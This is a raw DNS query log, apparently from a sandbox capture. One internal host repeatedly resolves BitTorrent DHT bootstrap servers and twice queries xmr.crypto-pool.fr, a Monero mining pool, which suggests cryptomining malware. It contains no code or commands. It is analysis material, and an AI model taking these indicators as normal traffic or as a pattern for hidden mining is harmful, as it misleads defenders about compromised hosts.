Aug 23, 2023 09:17:44.416945934 CEST	192.168.2.3	8.8.8.8	0x92c0	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:44.435874939 CEST	192.168.2.3	8.8.8.8	0xc2f9	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:45.338072062 CEST	192.168.2.3	8.8.8.8	0x47e9	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:45.358556986 CEST	192.168.2.3	8.8.8.8	0x1b08	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:45.382500887 CEST	192.168.2.3	8.8.8.8	0x9777	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:45.400235891 CEST	192.168.2.3	8.8.8.8	0xcedd	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:45.420099974 CEST	192.168.2.3	8.8.8.8	0x3e9f	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:45.453826904 CEST	192.168.2.3	8.8.8.8	0x769b	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:45.479552031 CEST	192.168.2.3	8.8.8.8	0x176e	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:45.508219004 CEST	192.168.2.3	8.8.8.8	0x390e	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:51.747632027 CEST	192.168.2.3	8.8.8.8	0xe353	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:51.775461912 CEST	192.168.2.3	8.8.8.8	0xb601	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:51.807404041 CEST	192.168.2.3	8.8.8.8	0x3604	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:51.835381985 CEST	192.168.2.3	8.8.8.8	0x168f	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:51.878263950 CEST	192.168.2.3	8.8.8.8	0xc43c	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:51.911124945 CEST	192.168.2.3	8.8.8.8	0x4d70	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:52.115439892 CEST	192.168.2.3	8.8.8.8	0x8154	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:52.141953945 CEST	192.168.2.3	8.8.8.8	0xb1ce	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:52.184742928 CEST	192.168.2.3	8.8.8.8	0xcf08	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:52.207209110 CEST	192.168.2.3	8.8.8.8	0x9f3c	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:52.239365101 CEST	192.168.2.3	8.8.8.8	0xc677	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:52.258960009 CEST	192.168.2.3	8.8.8.8	0x4d9a	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:52.278502941 CEST	192.168.2.3	8.8.8.8	0x34f1	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:52.407345057 CEST	192.168.2.3	8.8.8.8	0x284c	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:52.434815884 CEST	192.168.2.3	8.8.8.8	0x550	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:52.464499950 CEST	192.168.2.3	8.8.8.8	0x7aa5	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:53.044905901 CEST	192.168.2.3	8.8.8.8	0xace5	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:53.073575020 CEST	192.168.2.3	8.8.8.8	0x39f8	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:53.092761993 CEST	192.168.2.3	8.8.8.8	0xba4a	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:53.112122059 CEST	192.168.2.3	8.8.8.8	0xba19	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:53.140917063 CEST	192.168.2.3	8.8.8.8	0xe5f4	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:53.166409969 CEST	192.168.2.3	8.8.8.8	0x77d9	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:53.194997072 CEST	192.168.2.3	8.8.8.8	0xe1e2	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:53.220221996 CEST	192.168.2.3	8.8.8.8	0x442b	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:55.698072910 CEST	192.168.2.3	8.8.8.8	0xbf08	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:55.719238043 CEST	192.168.2.3	8.8.8.8	0x6a57	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:55.743777990 CEST	192.168.2.3	8.8.8.8	0xffcd	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:55.778968096 CEST	192.168.2.3	8.8.8.8	0x270	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:55.811305046 CEST	192.168.2.3	8.8.8.8	0x1b4	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:55.831688881 CEST	192.168.2.3	8.8.8.8	0xd94e	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:55.871773005 CEST	192.168.2.3	8.8.8.8	0x9688	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:55.907398939 CEST	192.168.2.3	8.8.8.8	0xf9d9	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:57.500631094 CEST	192.168.2.3	8.8.8.8	0x3578	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:57.523237944 CEST	192.168.2.3	8.8.8.8	0x1b44	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:57.549340010 CEST	192.168.2.3	8.8.8.8	0x3d71	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:57.566088915 CEST	192.168.2.3	8.8.8.8	0xa9b2	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:57.598882914 CEST	192.168.2.3	8.8.8.8	0x5c65	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:57.621820927 CEST	192.168.2.3	8.8.8.8	0x1e11	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:57.653820038 CEST	192.168.2.3	8.8.8.8	0xff05	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:57.671196938 CEST	192.168.2.3	8.8.8.8	0x356e	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:58.532428980 CEST	192.168.2.3	8.8.8.8	0xc8ae	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:58.551923990 CEST	192.168.2.3	8.8.8.8	0xfb5a	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:58.570884943 CEST	192.168.2.3	8.8.8.8	0x2c19	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:58.590153933 CEST	192.168.2.3	8.8.8.8	0x930c	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:58.617160082 CEST	192.168.2.3	8.8.8.8	0x8064	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:58.689337015 CEST	192.168.2.3	8.8.8.8	0x64a0	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:58.710753918 CEST	192.168.2.3	8.8.8.8	0x61f8	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:58.747492075 CEST	192.168.2.3	8.8.8.8	0x46eb	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:03.476514101 CEST	192.168.2.3	8.8.8.8	0x4f49	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:03.495526075 CEST	192.168.2.3	8.8.8.8	0x2c5a	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:03.516170025 CEST	192.168.2.3	8.8.8.8	0xc3e3	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:03.551492929 CEST	192.168.2.3	8.8.8.8	0x6ff5	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:03.578344107 CEST	192.168.2.3	8.8.8.8	0x5ba7	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:03.595180035 CEST	192.168.2.3	8.8.8.8	0x4273	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:03.621031046 CEST	192.168.2.3	8.8.8.8	0x468f	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:03.644483089 CEST	192.168.2.3	8.8.8.8	0x3596	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:04.349440098 CEST	192.168.2.3	8.8.8.8	0x2cde	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:04.367202997 CEST	192.168.2.3	8.8.8.8	0xf41a	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:04.393416882 CEST	192.168.2.3	8.8.8.8	0xd1db	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:04.410675049 CEST	192.168.2.3	8.8.8.8	0x4165	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:04.430176973 CEST	192.168.2.3	8.8.8.8	0x850d	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:04.462820053 CEST	192.168.2.3	8.8.8.8	0xf0b0	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:04.493205070 CEST	192.168.2.3	8.8.8.8	0x9fcc	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:04.511601925 CEST	192.168.2.3	8.8.8.8	0x68fc	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:04.838712931 CEST	192.168.2.3	8.8.8.8	0xafa7	Standard query (0)	xmr.crypto-pool.fr	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:09.386487007 CEST	192.168.2.3	8.8.8.8	0x96d0	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:09.416956902 CEST	192.168.2.3	8.8.8.8	0x611f	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:09.443515062 CEST	192.168.2.3	8.8.8.8	0x60d3	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:09.479639053 CEST	192.168.2.3	8.8.8.8	0x5923	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:09.519534111 CEST	192.168.2.3	8.8.8.8	0x2947	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:09.546982050 CEST	192.168.2.3	8.8.8.8	0xc614	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:09.584961891 CEST	192.168.2.3	8.8.8.8	0x9d43	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:09.615678072 CEST	192.168.2.3	8.8.8.8	0xd209	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:10.412748098 CEST	192.168.2.3	8.8.8.8	0x13ba	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:10.432018995 CEST	192.168.2.3	8.8.8.8	0x21f3	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:10.458163023 CEST	192.168.2.3	8.8.8.8	0x8fac	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:10.486192942 CEST	192.168.2.3	8.8.8.8	0x3ada	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:10.512113094 CEST	192.168.2.3	8.8.8.8	0x7300	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:10.531012058 CEST	192.168.2.3	8.8.8.8	0xd08d	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:10.552664042 CEST	192.168.2.3	8.8.8.8	0xdf9e	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:10.612871885 CEST	192.168.2.3	8.8.8.8	0x9876	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:12.238318920 CEST	192.168.2.3	8.8.8.8	0xbc00	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:12.259340048 CEST	192.168.2.3	8.8.8.8	0x38e9	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:12.288558960 CEST	192.168.2.3	8.8.8.8	0xc476	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:12.326251030 CEST	192.168.2.3	8.8.8.8	0xaa73	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:12.352425098 CEST	192.168.2.3	8.8.8.8	0xe6c0	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:12.375962019 CEST	192.168.2.3	8.8.8.8	0x1b4	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:12.394201040 CEST	192.168.2.3	8.8.8.8	0x77a2	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:12.420222998 CEST	192.168.2.3	8.8.8.8	0xcb8b	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:14.756052017 CEST	192.168.2.3	8.8.8.8	0x7ae9	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:14.773571968 CEST	192.168.2.3	8.8.8.8	0x9c0e	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:14.801991940 CEST	192.168.2.3	8.8.8.8	0x9fad	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:14.829138994 CEST	192.168.2.3	8.8.8.8	0xbca7	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:14.856561899 CEST	192.168.2.3	8.8.8.8	0x8d91	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:14.873934031 CEST	192.168.2.3	8.8.8.8	0x309	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:14.891952038 CEST	192.168.2.3	8.8.8.8	0xdaf8	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:14.909775972 CEST	192.168.2.3	8.8.8.8	0xa4b2	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:16.383909941 CEST	192.168.2.3	8.8.8.8	0x5974	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:16.411310911 CEST	192.168.2.3	8.8.8.8	0xb836	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:16.439073086 CEST	192.168.2.3	8.8.8.8	0xa520	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:16.466420889 CEST	192.168.2.3	8.8.8.8	0x96e4	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:16.495213985 CEST	192.168.2.3	8.8.8.8	0xcdff	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:16.528320074 CEST	192.168.2.3	8.8.8.8	0xe5e9	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:16.556215048 CEST	192.168.2.3	8.8.8.8	0xa7a7	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:16.592286110 CEST	192.168.2.3	8.8.8.8	0xa78b	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:18.162116051 CEST	192.168.2.3	8.8.8.8	0x4a5e	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:18.183785915 CEST	192.168.2.3	8.8.8.8	0x9d9f	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:18.201982975 CEST	192.168.2.3	8.8.8.8	0x9f02	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:18.238933086 CEST	192.168.2.3	8.8.8.8	0x10d6	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:18.272074938 CEST	192.168.2.3	8.8.8.8	0xae8e	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:18.304037094 CEST	192.168.2.3	8.8.8.8	0x23fa	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:18.334789991 CEST	192.168.2.3	8.8.8.8	0x64ed	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:18.352592945 CEST	192.168.2.3	8.8.8.8	0x2f68	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:19.896789074 CEST	192.168.2.3	8.8.8.8	0xca0a	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:19.912945986 CEST	192.168.2.3	8.8.8.8	0x64f4	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:19.940077066 CEST	192.168.2.3	8.8.8.8	0x6262	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:19.957603931 CEST	192.168.2.3	8.8.8.8	0xe337	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:19.994843006 CEST	192.168.2.3	8.8.8.8	0x3fbc	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:20.019720078 CEST	192.168.2.3	8.8.8.8	0x9fd6	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:20.045784950 CEST	192.168.2.3	8.8.8.8	0x53e4	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:20.067446947 CEST	192.168.2.3	8.8.8.8	0xd4c0	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:23.182331085 CEST	192.168.2.3	8.8.8.8	0xa563	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:23.207467079 CEST	192.168.2.3	8.8.8.8	0xa927	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:23.224165916 CEST	192.168.2.3	8.8.8.8	0x7fb3	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:23.254901886 CEST	192.168.2.3	8.8.8.8	0xa529	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:23.276357889 CEST	192.168.2.3	8.8.8.8	0x8128	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:23.301399946 CEST	192.168.2.3	8.8.8.8	0x7e7f	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:23.317658901 CEST	192.168.2.3	8.8.8.8	0x4c35	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:23.342663050 CEST	192.168.2.3	8.8.8.8	0x5b45	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:24.847498894 CEST	192.168.2.3	8.8.8.8	0xaafb	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:24.880601883 CEST	192.168.2.3	8.8.8.8	0xf432	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:24.897509098 CEST	192.168.2.3	8.8.8.8	0xede9	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:24.940210104 CEST	192.168.2.3	8.8.8.8	0xe65c	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:24.958544970 CEST	192.168.2.3	8.8.8.8	0x88b2	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:24.975123882 CEST	192.168.2.3	8.8.8.8	0xf9fc	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:25.002325058 CEST	192.168.2.3	8.8.8.8	0x1ca4	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:25.027414083 CEST	192.168.2.3	8.8.8.8	0xc5a5	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:25.833290100 CEST	192.168.2.3	8.8.8.8	0x30ef	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:25.849814892 CEST	192.168.2.3	8.8.8.8	0x73e1	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:25.875679970 CEST	192.168.2.3	8.8.8.8	0x6e0c	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:25.895265102 CEST	192.168.2.3	8.8.8.8	0x86a	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:25.925797939 CEST	192.168.2.3	8.8.8.8	0x3202	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:25.952225924 CEST	192.168.2.3	8.8.8.8	0x8c24	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:25.969016075 CEST	192.168.2.3	8.8.8.8	0x9bd1	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:25.994451046 CEST	192.168.2.3	8.8.8.8	0x6c6b	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:26.031416893 CEST	192.168.2.3	8.8.8.8	0x3152	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:26.060842037 CEST	192.168.2.3	8.8.8.8	0x817d	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:26.086457014 CEST	192.168.2.3	8.8.8.8	0x370e	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:26.110414982 CEST	192.168.2.3	8.8.8.8	0x24c6	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:26.128662109 CEST	192.168.2.3	8.8.8.8	0x69b6	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:26.161650896 CEST	192.168.2.3	8.8.8.8	0x1832	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:26.188405991 CEST	192.168.2.3	8.8.8.8	0x5559	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:26.213440895 CEST	192.168.2.3	8.8.8.8	0x3d4f	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.434694052 CEST	192.168.2.3	8.8.8.8	0xa5d2	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.459664106 CEST	192.168.2.3	8.8.8.8	0x34e	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.477452040 CEST	192.168.2.3	8.8.8.8	0x410e	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.494151115 CEST	192.168.2.3	8.8.8.8	0xff95	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.526041031 CEST	192.168.2.3	8.8.8.8	0xe0a4	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.561005116 CEST	192.168.2.3	8.8.8.8	0xb2d9	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.586637020 CEST	192.168.2.3	8.8.8.8	0xa6a	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.604376078 CEST	192.168.2.3	8.8.8.8	0xdd3a	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.656150103 CEST	192.168.2.3	8.8.8.8	0xc636	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.672662973 CEST	192.168.2.3	8.8.8.8	0xbe4a	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.696563959 CEST	192.168.2.3	8.8.8.8	0x64ea	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.730429888 CEST	192.168.2.3	8.8.8.8	0x5f74	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.766400099 CEST	192.168.2.3	8.8.8.8	0x5090	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.767081022 CEST	192.168.2.3	8.8.8.8	0x483a	Standard query (0)	xmr.crypto-pool.fr	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.784234047 CEST	192.168.2.3	8.8.8.8	0x1923	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.803539991 CEST	192.168.2.3	8.8.8.8	0x4e77	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.833005905 CEST	192.168.2.3	8.8.8.8	0x771e	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:34.623826981 CEST	192.168.2.3	8.8.8.8	0x1a8c	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:34.650856972 CEST	192.168.2.3	8.8.8.8	0xddc2	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
